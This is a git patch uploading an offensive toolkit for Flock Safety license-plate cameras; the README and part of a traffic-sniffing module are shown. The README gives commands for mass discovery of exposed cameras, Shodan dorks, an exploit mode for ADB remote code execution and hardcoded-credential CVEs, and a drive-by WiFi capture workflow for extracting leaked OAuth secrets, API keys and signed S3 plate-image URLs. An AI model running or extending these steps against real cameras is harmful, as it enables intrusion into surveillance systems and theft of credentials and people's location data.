From 587f14697ef5a42c643eb53066f5059b8e67958d Mon Sep 17 00:00:00 2001
From: ek0ms savi0r <4+ek0mssavi0r@noreply.git.churchofmalware.org>
Date: Sun, 19 Jul 2026 06:01:00 +0000
Subject: [PATCH] Upload files to "/"
---
README.md | 366 +++++++++++-
flock_tap.py | 716 ++++++++++++++++++++++++
masscan_wrapper.sh | 18 +
run_scanner.sh | 34 ++
scanner.py | 1325 ++++++++++++++++++++++++++++++++++++++++++++
shodan_queries.py | 80 +++
6 files changed, 2537 insertions(+), 2 deletions(-)
create mode 100644 flock_tap.py
create mode 100644 masscan_wrapper.sh
create mode 100644 run_scanner.sh
create mode 100644 scanner.py
create mode 100644 shodan_queries.py
diff --git a/README.md b/README.md
index e0d5968..72f7dfe 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,365 @@
-# Flock_SCAN
+
+
+
+
+
-scan flock at a network and application layer
\ No newline at end of file
+```
+███████╗██╗ ██████╗ ██████╗██╗ ██╗ ███████╗ ██████╗ █████╗ ███╗ ██╗
+██╔════╝██║ ██╔═══██╗██╔════╝██║ ██╔╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║
+█████╗ ██║ ██║ ██║██║ █████╔╝ ███████╗██║ ███████║██╔██╗ ██║
+██╔══╝ ██║ ██║ ██║██║ ██╔═██╗ ╚════██║██║ ██╔══██║██║╚██╗██║
+██║ ███████╗╚██████╔╝╚██████╗██║ ██╗ ███████║╚██████╗██║ ██║██║ ╚████║
+╚═╝ ╚══════╝ ╚═════╝ ╚═════╝╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝
+```
+
+Multi-mode Flock Safety security assessment tool.
+
+---
+
+## Capabilities
+
+### 1) CVE Scanning
+| CVE | Score | Description |
+|-----|-------|-------------|
+| **CVE-2025-59403** | 9.8 | Unauthenticated admin API / ADB RCE |
+| **CVE-2025-59407** | CRIT | Hardcoded keystore crypto key |
+| **CVE-2025-47818** | HIGH | Hardcoded fallback hotspot credentials |
+| **CVE-2025-47823** | HIGH | Hardcoded system password on ALPR firmware |
+
+Disclaimer: For authorized security testing only.
+
+### 2) Flock Instance Discovery
+Scans any subnet for all known Flock camera fingerprints.
+
+| Fingerprint | Port | Detection |
+|-------------|------|-----------|
+| **ADB shell** | 5555 | `getprop ro.product.model` -> Flock/Falcon/Sparrow |
+| **Admin web UI** | 80/443 | GainSec's `admin_page_template.html` in HTTP body |
+| **ONVIF device** | 80/443/8899 | SOAP `GetDeviceInformation` -> manufacturer string |
+| **SpeedPourer** | 21 | FTP banner / admin page references |
+| **FRP tunnel** | 7000-7500 | Fast Reverse Proxy banner grab |
+| **Cloud DNS** | -- | Admin UI contains `*.flocksafety.com` URLs |
+| **All 4 CVEs** | -- | Per-host exploit checks run automatically |
+
+### 3) Traffic Analysis
+Determines if a Flock camera sends data to **the cloud** or a **local station**.
+
+```
+CLOUD -> Sends data to api.flocksafety.com / Flock infrastructure
+LOCAL_STATION -> Data stays on-prem (no cloud contact detected)
+INDETERMINATE -> Unable to determine (camera may be offline)
+```
+
+Detection methods:
+- **DNS resolution** of `api.flocksafety.com` and other Flock domains
+- **Admin UI inspection** -- `/metadata`, `/config` endpoints checked for cloud URLs vs internal IPs
+- **FRP tunnel detection** -- Reverse Proxy tunnel on ports 7000/7500
+- **ADB network config** -- reads gateway and DNS from camera shell
+
+### 4) Traffic Tap -- Passive Monitoring (NEW)
+
+Watch live camera traffic or analyze a PCAP file to see exactly what Flock cameras are communicating with. No decryption needed.
+
+#### What it detects
+
+| Signal | What it reveals |
+|--------|----------------|
+| **DNS queries** | Every domain the camera resolves -- `api.flocksafety.com`, `flock-hibiki-inbox.s3...`, etc. |
+| **TLS SNI** | HTTPS destinations **without decryption** -- just the hostname |
+| **FRP tunnels** | Outbound connections on ports 7000-7500 (Fast Reverse Proxy) |
+| **TCP connections** | Full connection map -- who talks to whom, how much data flows |
+| **Cloud vs Local** | Classification per IP: `CLOUD_CONNECTED`, `LOCAL_STATION`, `UNKNOWN` |
+
+#### Callback Architecture
+
+The tap fires three callbacks for every packet, matching the pseudocode design:
+
+```python
+def on_dns_query(self, hostname, src_ip, resolved_ips, timestamp):
+ if "flocksafety" in hostname:
+ self.flow_stats[src_ip]["cloud_dns"] += 1
+
+def on_tcp_connect(self, src, dst, sport, dport, timestamp):
+ if dport in [7000, 7500, 7001, 7002]:
+ self.flow_stats[src]["frp_tunnel"] = True
+
+def on_tls_sni(self, sni, src_ip, dst_ip, timestamp):
+ cat = self._categorize_sni(sni) # "auth" | "s3_upload" | "cloud_api"
+ self.flow_stats[src_ip][f"{cat} += 1
+```
+
+#### Zeek-Equivalent FRP Signature
+
+```python
+# signature frp-tunnel {
+# ip-proto == tcp
+# dst-port in [7000, 7500, 7001, 7002]
+# payload /frp|auth|proxy_type/
+# event "FRP TUNNEL DETECTED"
+# }
+```
+
+#### SNI Traffic Categorization
+
+| Category | Matches | Example |
+|----------|---------|---------|
+| `auth` | auth0, login | `login.flocksafety.com`, `prod-flock.auth0.com` |
+| `s3_upload` | s3.amazonaws | `flock-hibiki-inbox.s3.us-east-1.amazonaws.com` |
+| `cloud_api` | flocksafety, flock | `api.flocksafety.com`, `websockets.flocksafety.com` |
+
+#### Report Output
+
+```
+============================================================
+ FLOCK TRAFFIC TAP REPORT
+============================================================
+
+Capture:
+ Interface: eth0
+ Duration: 300.5s
+ Packets: 142,931
+
+Classification:
+ Cloud-connected: 3
+ Local station: 12
+ Unknown: 5
+
+Cloud-Connected Cameras:
+ 192.168.1.104 DNS(api.flocksafety.com)
+ 192.168.1.107 SNI(login.flocksafety.com)
+ 192.168.1.110 FRP(2 tunnels)
+
+FRP Tunnels: 2
+ 192.168.1.110 -> 10.0.0.50:7500 [frp_tunnel]
+ 192.168.1.110 -> 10.0.0.50:7000 [frp_auth_payload]
+
+Flock Domains Resolved:
+ - api.flocksafety.com
+ - flock-hibiki-inbox.s3.us-east-1.amazonaws.com
+ - login.flocksafety.com
+ - prod-flock.auth0.com
+ - websockets.flocksafety.com
+
+TLS Traffic Categories:
+ auth: 47 connections
+ s3_upload: 1887 connections
+ cloud_api: 2341 connections
+```
+
+---
+
+## Quick Start
+
+> Most features require root. Run with `sudo` when scanning or capturing.
+
+```bash
+pip install requests
+sudo python3 scanner.py
+```
+
+### CVE Scanning
+```bash
+sudo python3 scanner.py -t 192.168.1.100
+sudo python3 scanner.py -f targets.txt --exploit
+sudo python3 scanner.py --output results.json -v
+```
+
+### Instance Discovery
+```bash
+sudo python3 scanner.py --discover 192.168.1.0/24
+sudo python3 scanner.py --discover 10.0.0.0/16 --output found.json
+```
+
+### Traffic Analysis
+```bash
+sudo python3 scanner.py --analyze-traffic 192.168.1.100
+sudo python3 scanner.py --analyze-traffic 10.0.0.50 --output flow.json
+```
+
+### Traffic Tap (Live Capture)
+```bash
+# Requires scapy: pip install scapy
+sudo python3 scanner.py --tap-interface eth0 --tap-output report.json
+```
+
+### Traffic Tap (PCAP Analysis)
+```bash
+sudo python3 scanner.py --tap-pcap capture.pcap --tap-output report.json
+```
+
+### Traffic Tap (Pipe from tcpdump)
+```bash
+sudo tcpdump -i eth0 -l -nn | sudo python3 scanner.py --tap-pipe -v
+```
+
+### Enrichment Mode (v3.0+)
+```bash
+# Add --enrich to any scan for extra data collection
+sudo python3 scanner.py -t 192.168.1.100 --enrich
+sudo python3 scanner.py -f targets.txt --enrich --output enriched_scan.json
+sudo python3 scanner.py --discover 192.168.1.0/24 --enrich -v
+```
+
+**What --enrich adds:**
+- **Banner grabber** -- HTTP headers (Server, X-Powered-By, Via, cookies), FTP banner (SpeedPourer version), TLS cert (SANs, issuer, expiry), SSH version
+- **Cloud provider enrichment** -- IP → ASN/org/provider via ip-api.com + WHOIS fallback (AWS, GCP, Azure, Cloudflare, etc.)
+- **Telemetry detection** -- Google Analytics IDs, Hotjar, Sentry, Facebook Pixel, Segment, and 30+ other SaaS services
+- **ADB deep collect** -- WiFi SSID/BSSID, gateway, DNS servers, ARP table, uptime, processes, battery state, installed packages, logcat errors
+- **Network map** -- Passive subnet discovery via ARP table + MAC OUI vendor resolution
+- **Credential extractor** -- Scans HTTP bodies for leaked M2M OAuth client_id/secret, webhook API keys, Auth0 configs, org UUIDs
+- **Prometheus scraper** -- Probes local network for open Prometheus/Grafana instances, scrapes targets + metrics
+- **S3 URL catcher** -- Extracts signed S3 image URLs from captured traffic (flock-hibiki-inbox, hotlist, webhook payloads)
+
+---
+
+## Drive-By WiFi Recon (Monitor Mode)
+
+```bash
+# 1. Put adapter in monitor mode first
+iwconfig # find your interface
+sudo airmon-ng start wlan0
+
+# 2. Capture camera traffic (PCAP is best, pipe is for quick checks)
+sudo airodump-ng wlan0mon -w capture --output-format pcap
+# OR
+sudo tcpdump -i wlan0mon -w capture.pcap
+# OR pipe live (lightweight, DNS + FRP only)
+sudo tcpdump -i wlan0mon -l -nn | sudo python3 scanner.py --tap-pipe -v
+
+# 3. Back home: offline analysis extracts everything
+sudo python3 scanner.py --tap-pcap capture.pcap --enrich --output report.json -v
+```
+
+> **Why PCAP, not pipe?** `--tap-pcap` uses scapy to extract DNS queries, TLS SNI, and HTTP payloads from every packet. `--tap-pipe` only tracks connections — it cannot capture the HTTP bodies or TLS hostnames you need for credential extraction, S3 URLs, or telemetry. Always record to PCAP first.
+
+### What you'll get from the air
+
+| Signal | Captures | Module |
+|--------|----------|--------|
+| WiFi packets | Camera DNS queries, HTTP requests, admin page data | tap.py + banner_grabber.py |
+| TLS SNI | Every HTTPS hostname the camera talks to (no decryption) | tap.py |
+| HTTP bodies | Admin config pages, leaked API keys, webhook URLs | creds_extractor.py |
+| S3 URLs | Signed LPR image links from flock-hibiki-inbox bucket | s3_url_catcher.py |
+| Prometheus | Monitoring targets if camera's network has Prometheus | prometheus_scraper.py |
+| FRP tunnels | Fast Reverse Proxy connections (cloud tunnel detection) | tap.py |
+| Telemetry | Google Analytics, Sentry, FB Pixel in admin page JS | telemetry.py |
+
+### Output files created during enrich
+
+When you run `--enrich`, the tool auto-saves findings to your output directory:
+
+```
+creds_192_168_1_100.txt # All leaked credentials found
+s3_urls_192_168_1_100.txt # All S3 signed URLs captured
+```
+
+---
+
+## Interactive Menu
+
+```bash
+sudo python3 scanner.py
+```
+
+```
+ 1. Single IP
+ 2. IP Range (CIDR)
+ 3. From File
+ 4. Shodan Query
+ 5. Falcon/Sparrow Signatures
+ 6. Flock Instance Discovery
+ 7. Traffic Analysis
+ 8. Traffic Tap -- live monitor
+ 9. Traffic Tap -- analyze PCAP
+ 0. Return
+```
+
+---
+
+## Shodan Queries
+
+```bash
+python3 shodan_queries.py
+```
+
+Includes dedicated `FLOCK_DISCOVERY` queries:
+
+| Query | Finds |
+|-------|-------|
+| `title:"admin_page_template"` | Flock admin portals |
+| `"/onvif/device_service" Flock` | ONVIF-capable Flock devices |
+| `"SpeedPourer" port:21` | Speed test FTP servers |
+| `"FRP" "flock" port:7000` | Reverse proxy tunnels |
+| `ssl.cert.subject.cn:"*.flocksafety.com"` | Flock TLS certificates |
+| `org:"Flock Safety"` | All Flock-owned infrastructure |
+
+---
+
+## Safety
+
+- **Exploitation disabled by default** -- requires explicit `--exploit` flag
+- **Rate-limited threads** -- default 10, configurable with `-T`
+- **Discovery mode is passive** -- only sends probe/identification packets
+- **Tap mode is read-only** -- never sends packets, only listens
+- **User confirmation** required before any exploit execution
+
+```bash
+# Scan only (no exploitation)
+sudo python3 scanner.py -t 192.168.1.100
+
+# Scan + exploit (requires confirmation)
+sudo python3 scanner.py -t 192.168.1.100 --exploit
+```
+
+---
+
+## All Flags
+
+| Flag | Description | Default |
+|------|-------------|---------|
+| `-t`, `--target` | Single target IP | -- |
+| `-f`, `--file` | File with targets (one per line) | -- |
+| `-o`, `--output` | Output file (JSON) | -- |
+| `-v`, `--verbose` | Verbose output | off |
+| `-T`, `--threads` | Number of scan threads | 10 |
+| `--timeout` | Connection timeout (seconds) | 5 |
+| `--exploit` | Enable exploitation (requires confirmation) | off |
+| `--enrich` | Run enrichment modules (banners, cloud provider, telemetry, ADB deep, network map, creds, Prometheus, S3 URLs) | off |
+| `--cve` | Scan specific CVE only | all |
+| `--discover` | Discover Flock instances in subnet (CIDR) | -- |
+| `--analyze-traffic` | Analyze cloud vs local data flow for a camera IP | -- |
+| `--tap-interface` | Traffic Tap: live capture from interface | -- |
+| `--tap-pcap` | Traffic Tap: analyze PCAP file | -- |
+| `--tap-pipe` | Traffic Tap: read from stdin (tcpdump pipe) | off |
+| `--tap-output` | Traffic Tap: save report to JSON file | -- |
+
+---
+
+## File Layout
+
+```
+FLOCK_scan/
+├── scanner.py # Main tool (CVE scan + discovery + traffic analysis)
+├── flock_tap.py # Passive traffic monitor (callbacks, FRP, SNI, DNS)
+├── shodan_queries.py # Shodan dork generator
+├── run_scanner.sh # Quick-launch script
+├── masscan_wrapper.sh # Masscan integration
+├── modules/ # Enrichment modules (v3.1+)
+│ ├── __init__.py
+│ ├── banner_grabber.py # HTTP/FTP/TLS/SSH banner collection
+│ ├── cloud_enrich.py # IP → ASN/org/cloud provider
+│ ├── telemetry.py # Analytics, pixels, JS endpoints
+│ ├── adb_deep.py # Extended ADB props (route, wifi, DNS, processes)
+│ ├── network_map.py # ARP-based passive subnet discovery
+│ ├── creds_extractor.py # Leaked M2M tokens, webhook API keys, auth configs
+│ ├── prometheus_scraper.py # Prometheus/Grafana discovery on local network
+│ └── s3_url_catcher.py # Signed S3 image URL extraction from traffic
+└── README.md
+```
+
+---
+
+
+ Authorized security testing only. Use on systems you own or have written permission to test.
+
diff --git a/flock_tap.py b/flock_tap.py
new file mode 100644
index 0000000..545e5b7
--- /dev/null
+++ b/flock_tap.py
@@ -0,0 +1,716 @@
+#!/usr/bin/env python3
+"""
+flock_tap.py — Passive Flock camera traffic monitor
+
+Captures and analyzes network traffic from Flock Safety cameras to determine:
+- Which domains they communicate with (DNS tracking)
+- Whether they connect to Flock cloud or a local station
+- FRP tunnel detection (ports 7000-7500)
+- TLS SNI fingerprinting (HTTPs destinations without decryption)
+- Per-camera traffic profiles and bandwidth usage
+
+Modes:
+ --tap-interface eth0 Live capture from a network interface
+ --tap-pcap file.pcap Offline analysis of a PCAP file
+ --tap-pipe Read from tcpdump stdin pipe
+"""
+
+import re
+import os
+import sys
+import json
+import time
+import threading
+import subprocess
+from datetime import datetime
+from collections import defaultdict
+
+# ── Flock-known infrastructure ──
+FLOCK_CLOUD_DOMAINS = [
+ "api.flocksafety.com", "app.flocksafety.com",
+ "users.flocksafety.com", "login.flocksafety.com",
+ "websockets.flocksafety.com", "safelist.flocksafety.com",
+ "events.flocksafety.com", "docs.flocksafety.com",
+ "status.flocksafety.com",
+ "flock-hibiki-inbox.s3.us-east-1.amazonaws.com",
+ "prod-flock-cd-bymknkftygg5gmc0.edge.tenants.auth0.com",
+]
+
+FLOCK_CLOUD_IPS = [
+ "198.202.211.1", "52.72.49.79", "34.71.237.120",
+ "104.18.16.189", "104.18.17.189",
+]
+
+# Scapy availability
+try:
+ from scapy.all import sniff, IP, TCP, UDP, DNS, DNSQR, Raw, conf
+ from scapy.layers.tls.all import TLS
+ from scapy.layers.tls.handshake import TLSClientHello
+ HAVE_SCAPY = True
+except ImportError:
+ HAVE_SCAPY = False
+
+# Colors (same as scanner.py)
+class C:
+ H = '\033[95m'; BL = '\033[94m'; CY = '\033[96m'
+ G = '\033[92m'; Y = '\033[93m'; R = '\033[91m'
+ END = '\033[0m'; B = '\033[1m'
+
+
+class FlockTrafficTap:
+ """
+ Passive traffic monitor for Flock Safety cameras.
+
+ Matches the pseudocode interface:
+ tap = FlockTrafficTap(interface="eth0")
+ tap.start()
+ tap.report()
+
+ Callbacks (called on each packet):
+ on_dns_query(hostname, src_ip, resolved_ips, timestamp)
+ on_tcp_connect(src, dst, sport, dport, timestamp)
+ on_tls_sni(sni, src_ip, dst_ip, timestamp)
+ """
+
+ def __init__(self, interface=None, pcap=None, pipe=False, verbose=False,
+ output_file=None, timeout=None, filter_expr=None):
+ self.interface = interface
+ self.pcap = pcap
+ self.pipe = pipe
+ self.verbose = verbose
+ self.output_file = output_file
+ self.timeout = timeout
+ self.filter_expr = filter_expr
+
+ # ── flow_stats: matches pseudocode structure ──
+ self.flow_stats = defaultdict(lambda: {
+ "cloud_dns": 0,
+ "frp_tunnel": False,
+ "auth_tls": 0,
+ "s3_uploads": 0,
+ "cloud_api": 0,
+ "bytes_up": 0,
+ "bytes_down": 0,
+ "connections": 0,
+ "first_seen": None,
+ "last_seen": None,
+ })
+
+ # ── Raw device-level data store ──
+ self.devices = defaultdict(lambda: {
+ "dns_queries": [],
+ "connections": [],
+ "frp_tunnels": [],
+ "tls_snis": [],
+ "http_requests": [],
+ "bytes_up": 0,
+ "bytes_down": 0,
+ "packets_seen": 0,
+ "first_seen": None,
+ "last_seen": None,
+ })
+
+ self.seen_domains = set()
+ self.frp_ports = {7000, 7500, 7001, 7002}
+ self.running = False
+ self.packet_count = 0
+ self.start_time = None
+
+ # ═══════════════════════════════════════════════════
+ # CALLBACKS — matches pseudocode interface
+ # ═══════════════════════════════════════════════════
+
+ def on_dns_query(self, hostname, src_ip, resolved_ips=None, timestamp=None):
+ """Called for every DNS query. Updates flow_stats."""
+ if "flocksafety" in hostname.lower():
+ self.flow_stats[src_ip]["cloud_dns"] += 1
+
+ def on_tcp_connect(self, src, dst, sport, dport, timestamp=None):
+ """Called for every TCP SYN. Updates flow_stats."""
+ fs = self.flow_stats[src]
+ fs["connections"] += 1
+ fs["bytes_up"] += 64 # approximate
+ if dport in self.frp_ports:
+ fs["frp_tunnel"] = True
+
+ def on_tls_sni(self, sni, src_ip, dst_ip, timestamp=None):
+ """Called for every TLS SNI. Categorizes and updates flow_stats."""
+ cat = self._categorize_sni(sni)
+ fs = self.flow_stats[src_ip]
+ if cat == "auth":
+ fs["auth_tls"] += 1
+ elif cat == "s3_upload":
+ fs["s3_uploads"] += 1
+ elif cat == "cloud_api":
+ fs["cloud_api"] += 1
+
+ def _categorize_sni(self, sni):
+ """Classify a TLS SNI into a traffic category."""
+ s = sni.lower()
+ if "auth0" in s or "login" in s:
+ return "auth"
+ if "s3.amazonaws" in s or ("s3" in s and "amazon" in s):
+ return "s3_upload"
+ if "flocksafety" in s or "flock" in s:
+ return "cloud_api"
+ return None
+
+ # ═══════════════════════════════════════════════════
+ # CLASSIFICATION — matches pseudocode interface
+ # ═══════════════════════════════════════════════════
+
+ def classify_device(self, camera_ip):
+ """Generate a full traffic profile for a camera (from pseudocode)."""
+ stats = self.flow_stats[camera_ip]
+ if stats.get("cloud_dns", 0) > 0 or stats.get("frp_tunnel"):
+ return "CLOUD_CONNECTED"
+ if stats.get("s3_uploads", 0) > 0 or stats.get("auth_tls", 0) > 0:
+ return "CLOUD_CONNECTED"
+ if stats.get("connections", 0) > 0:
+ return "LOCAL_STATION"
+ return "OFFLINE_OR_UNMONITORED"
+
+ def classify_camera(self, ip):
+ """Return verdict for a single camera IP (raw data fallback)."""
+ verdict = self.classify_device(ip)
+ if verdict != "OFFLINE_OR_UNMONITORED":
+ return verdict
+
+ dev = self.devices.get(ip, {})
+ if not dev:
+ return "NO_DATA"
+ has_flock_sni = any(
+ "flock" in s.get("sni", "").lower() or "auth0" in s.get("sni", "").lower()
+ for s in dev.get("tls_snis", [])
+ )
+ has_frp = len(dev.get("frp_tunnels", [])) > 0
+ if has_flock_sni or has_frp:
+ return "CLOUD_CONNECTED"
+ if dev.get("connections"):
+ return "LOCAL_STATION"
+ return "UNKNOWN"
+
+ # ═══════════════════════════════════════════════════
+ # PACKET HANDLER — scapy
+ # ═══════════════════════════════════════════════════
+
+ def _handle_packet_scapy(self, pkt):
+ """Process a packet — dispatches to callbacks."""
+ self.packet_count += 1
+ if not pkt.haslayer(IP):
+ return
+
+ ip = pkt[IP]
+ src, dst = ip.src, ip.dst
+ ts = time.time()
+
+ dev = self.devices[src]
+ if dev["first_seen"] is None:
+ dev["first_seen"] = ts
+ dev["last_seen"] = ts
+ dev["packets_seen"] += 1
+ dev["bytes_up"] += ip.len
+
+ dev_dst = self.devices[dst]
+ dev_dst["bytes_down"] += ip.len
+ if dev_dst["first_seen"] is None:
+ dev_dst["first_seen"] = ts
+ dev_dst["last_seen"] = ts
+ dev_dst["packets_seen"] += 1
+
+ # ── DNS ──
+ if pkt.haslayer(DNS) and pkt.haslayer(DNSQR):
+ try:
+ qname = pkt[DNSQR].qname.decode().rstrip(".")
+ resolved_ips = []
+ if pkt[DNS].ancount > 0:
+ for i in range(pkt[DNS].ancount):
+ try:
+ rr = pkt[DNS].an[i]
+ if hasattr(rr, "rdata"):
+ resolved_ips.append(str(rr.rdata))
+ except Exception:
+ pass
+
+ self.on_dns_query(qname, src, resolved_ips, ts)
+ dev["dns_queries"].append({
+ "timestamp": ts, "src": src,
+ "query": qname, "resolved_ips": resolved_ips,
+ })
+ self.seen_domains.add(qname)
+
+ if self.verbose:
+ is_flock = "flock" in qname.lower()
+ tag = f" {C.R}Flock{C.END}" if is_flock else ""
+ rips = f" -> {resolved_ips}" if resolved_ips else ""
+ c = C.R if is_flock else C.CY
+ print(f" DNS {c}{src:<16} {qname:<50}{rips}{C.END}{tag}")
+ except Exception:
+ pass
+
+ # ── TCP connections (FRP detection) ──
+ if pkt.haslayer(TCP):
+ tcp = pkt[TCP]
+ sport, dport = tcp.sport, tcp.dport
+
+ self.on_tcp_connect(src, dst, sport, dport, ts)
+
+ if tcp.flags & 0x02: # SYN
+ dev["connections"].append({
+ "timestamp": ts, "src": src, "sport": sport,
+ "dst": dst, "dport": dport, "bytes": ip.len,
+ })
+
+ # ── FRP Tunnel Detection ──
+ # FRP handshake pattern:
+ # 1. Camera connects to port 7000-7500 on a remote server
+ # 2. Sends auth + proxy configuration JSON
+ # 3. Server opens reverse tunnel
+ #
+ # Detection signature (Zeek-equivalent):
+ # signature frp-tunnel {
+ # ip-proto == tcp
+ # dst-port in [7000, 7500, 7001, 7002]
+ # payload /frp|auth|proxy_type/
+ # event "FRP TUNNEL DETECTED"
+ # }
+ if dport in self.frp_ports:
+ self.flow_stats[src]["frp_tunnel"] = True
+ dev["frp_tunnels"].append({
+ "timestamp": ts, "src": src, "dst": dst,
+ "port": dport, "type": "frp_tunnel",
+ })
+ if self.verbose:
+ print(f" {C.R}FRP {src:<16} -> {dst}:{dport} [FRP TUNNEL]{C.END}")
+
+ # Raw payload scan for FRP auth
+ if tcp.haslayer(Raw):
+ raw = tcp[Raw].load
+ if b"frp" in raw.lower() or b"auth" in raw.lower() or b"proxy_type" in raw.lower():
+ self.flow_stats[src]["frp_tunnel"] = True
+ dev["frp_tunnels"].append({
+ "timestamp": ts, "src": src, "dst": dst,
+ "port": dport, "type": "frp_auth_payload",
+ "payload_preview": raw[:64].decode(errors="replace"),
+ })
+ if self.verbose:
+ self.log(f"{C.R}FRP_AUTH {src} -> {dst}:{dport} - auth payload{C.END}")
+
+ # ── TLS SNI ──
+ if pkt.haslayer(TCP) and pkt.haslayer(Raw):
+ tcp = pkt[TCP]
+ dport = tcp.dport
+ raw = tcp[Raw].load
+ if dport == 443 and len(raw) > 50 and raw[0] == 0x16 and raw[1] in (0x03,):
+ sni = self._extract_sni(raw)
+ if sni:
+ self.on_tls_sni(sni, src, dst, ts)
+ dev["tls_snis"].append({"timestamp": ts, "src": src, "dst": dst, "sni": sni})
+ if self.verbose:
+ cat = self._categorize_sni(sni)
+ c = C.R if cat else C.CY
+ tag = f" [{cat}]" if cat else ""
+ print(f" TLS {c}{src:<16} -> {dst:<16} {sni:<50}{C.END}{tag}")
+
+ def _extract_sni(self, data):
+ """Extract TLS SNI from raw ClientHello bytes."""
+ try:
+ offset = 5 + 4 + 32
+ if offset + 1 > len(data):
+ return None
+ sid_len = data[offset]
+ offset += 1 + sid_len
+ if offset + 2 > len(data):
+ return None
+ cs_len = (data[offset] << 8) | data[offset + 1]
+ offset += 2 + cs_len
+ if offset + 1 > len(data):
+ return None
+ cm_len = data[offset]
+ offset += 1 + cm_len
+ if offset + 2 > len(data):
+ return None
+ ext_len = (data[offset] << 8) | data[offset + 1]
+ offset += 2
+ ext_end = offset + ext_len
+ while offset + 4 <= ext_end:
+ ext_type = (data[offset] << 8) | data[offset + 1]
+ ext_data_len = (data[offset + 2] << 8) | data[offset + 3]
+ offset += 4
+ if ext_type == 0:
+ if offset + 2 <= ext_end:
+ list_len = (data[offset] << 8) | data[offset + 1]
+ offset += 2
+ if offset + 1 <= ext_end:
+ name_type = data[offset]
+ offset += 1
+ if name_type == 0:
+ if offset + 2 <= ext_end:
+ name_len = (data[offset] << 8) | data[offset + 1]
+ offset += 2
+ if offset + name_len <= ext_end:
+ return data[offset:offset + name_len].decode(errors="replace")
+ offset += ext_data_len
+ except Exception:
+ pass
+ return None
+
+ # ═══════════════════════════════════════════════════
+ # TCPDUMP PIPE FALLBACK
+ # ═══════════════════════════════════════════════════
+
+ def _parse_tcpdump_line(self, line):
+ """Parse a line from tcpdump -l -nn output."""
+ try:
+ parts = line.split()
+ if len(parts) < 5:
+ return None
+ src_part = parts[2].rstrip(":")
+ dst_part = parts[4].rstrip(":")
+ src_ip, src_port = src_part.rsplit(".", 1)
+ dst_ip, dst_port = dst_part.rsplit(".", 1)
+ if dst_port == "53" or src_port == "53":
+ result = {"type": "dns", "src": src_ip, "sport": src_port,
+ "dst": dst_ip, "dport": int(dst_port), "raw": line}
+ # Try to extract the actual DNS query name
+ # Format: "... 12345+ A? hostname.domain.tld. (len)"
+ qm = re.search(r'\?\s+([a-zA-Z0-9.-]+)\.?\s', line)
+ if qm:
+ result["query"] = qm.group(1).rstrip(".")
+ return result
+ if "Flags [S]" in line:
+ return {"type": "syn", "src": src_ip, "sport": int(src_port),
+ "dst": dst_ip, "dport": int(dst_port), "raw": line}
+ return {"type": "other", "src": src_ip, "sport": src_port,
+ "dst": dst_ip, "dport": dst_port, "raw": line}
+ except Exception:
+ return None
+
+ # ═══════════════════════════════════════════════════
+ # PUBLIC API
+ # ═══════════════════════════════════════════════════
+
+ def log(self, msg):
+ ts = datetime.now().strftime("%H:%M:%S")
+ print(f"{C.CY}[{ts}]{C.END} {msg}")
+
+ def start(self):
+ """Start capture in the foreground."""
+ self.start_time = time.time()
+ self.running = True
+ if self.pcap:
+ self._run_pcap()
+ elif self.pipe:
+ self._run_pipe()
+ elif self.interface:
+ self._run_live()
+ else:
+ print(f"{C.R}Error: specify --tap-interface, --tap-pcap, or --tap-pipe{C.END}")
+ sys.exit(1)
+
+ def _run_live(self):
+ if HAVE_SCAPY:
+ self.log(f"Live capture on {C.B}{self.interface}{C.END} (PID {os.getpid()})")
+ self.log("Ctrl+C to stop and report")
+ print()
+ try:
+ sniff(iface=self.interface, filter=self.filter_expr or "ip",
+ prn=self._handle_packet_scapy, store=0, timeout=self.timeout)
+ except KeyboardInterrupt:
+ pass
+ self.running = False
+ else:
+ self.log(f"{C.Y}scapy not installed — falling back to tcpdump pipe{C.END}")
+ self._run_pipe()
+
+ def _run_pcap(self):
+ if not HAVE_SCAPY:
+ print(f"{C.R}Error: scapy required for pcap. pip install scapy{C.END}")
+ sys.exit(1)
+ self.log(f"Analyzing pcap: {C.B}{self.pcap}{C.END}\n")
+ try:
+ sniff(offline=self.pcap, prn=self._handle_packet_scapy, store=0,
+ timeout=self.timeout)
+ except Exception as e:
+ print(f"{C.R}Error: {e}{C.END}")
+ sys.exit(1)
+ self.running = False
+
+ def _run_pipe(self):
+ self.log("Reading from pipe (stdin). Send traffic or Ctrl+C to stop.\n")
+ try:
+ for line in sys.stdin:
+ if not self.running:
+ break
+ line = line.strip()
+ if not line:
+ continue
+ parsed = self._parse_tcpdump_line(line)
+ if parsed:
+ self.packet_count += 1
+ src = parsed["src"]
+ dst = parsed.get("dst", "?")
+ dport = parsed.get("dport", 0)
+ dev = self.devices[src]
+ if dev["first_seen"] is None:
+ dev["first_seen"] = time.time()
+ dev["last_seen"] = time.time()
+ dev["packets_seen"] += 1
+ if parsed["type"] == "dns":
+ query = parsed.get("query", "")
+ if query:
+ dev["dns_queries"].append({
+ "timestamp": time.time(),
+ "src": src,
+ "query": query,
+ "resolved_ips": [],
+ })
+ self.seen_domains.add(query)
+ if "flock" in query.lower():
+ self.flow_stats[src]["cloud_dns"] += 1
+ if self.verbose:
+ self.log(f"{C.R}Flock DNS {src} -> {query}{C.END}")
+ elif self.verbose:
+ self.log(f"{C.CY}DNS {src} -> {query}{C.END}")
+ if parsed["type"] == "syn" and dport in self.frp_ports:
+ self.flow_stats[src]["frp_tunnel"] = True
+ dev["frp_tunnels"].append({
+ "timestamp": time.time(), "src": src,
+ "dst": dst, "port": dport, "type": "frp_tunnel",
+ })
+ if self.verbose:
+ self.log(f"{C.R}FRP {src} -> {dst}:{dport}{C.END}")
+ except KeyboardInterrupt:
+ pass
+ self.running = False
+
+ # ═══════════════════════════════════════════════════
+ # REPORT
+ # ═══════════════════════════════════════════════════
+
+ def generate_report(self):
+ """Build structured JSON report."""
+ report = {
+ "type": "FLOCK_TAP_REPORT",
+ "capture_info": {
+ "interface": self.interface,
+ "pcap": self.pcap,
+ "start_time": self.start_time,
+ "duration": time.time() - self.start_time if self.start_time else 0,
+ "total_packets": self.packet_count,
+ },
+ "flow_stats": {},
+ "devices": {},
+ "summary": {},
+ }
+
+ cloud_count = 0
+ local_count = 0
+ unknown_count = 0
+
+ for ip in sorted(set(list(self.devices.keys()) + list(self.flow_stats.keys()))):
+ verdict = self.classify_camera(ip)
+ if verdict == "CLOUD_CONNECTED":
+ cloud_count += 1
+ elif verdict == "LOCAL_STATION":
+ local_count += 1
+ else:
+ unknown_count += 1
+
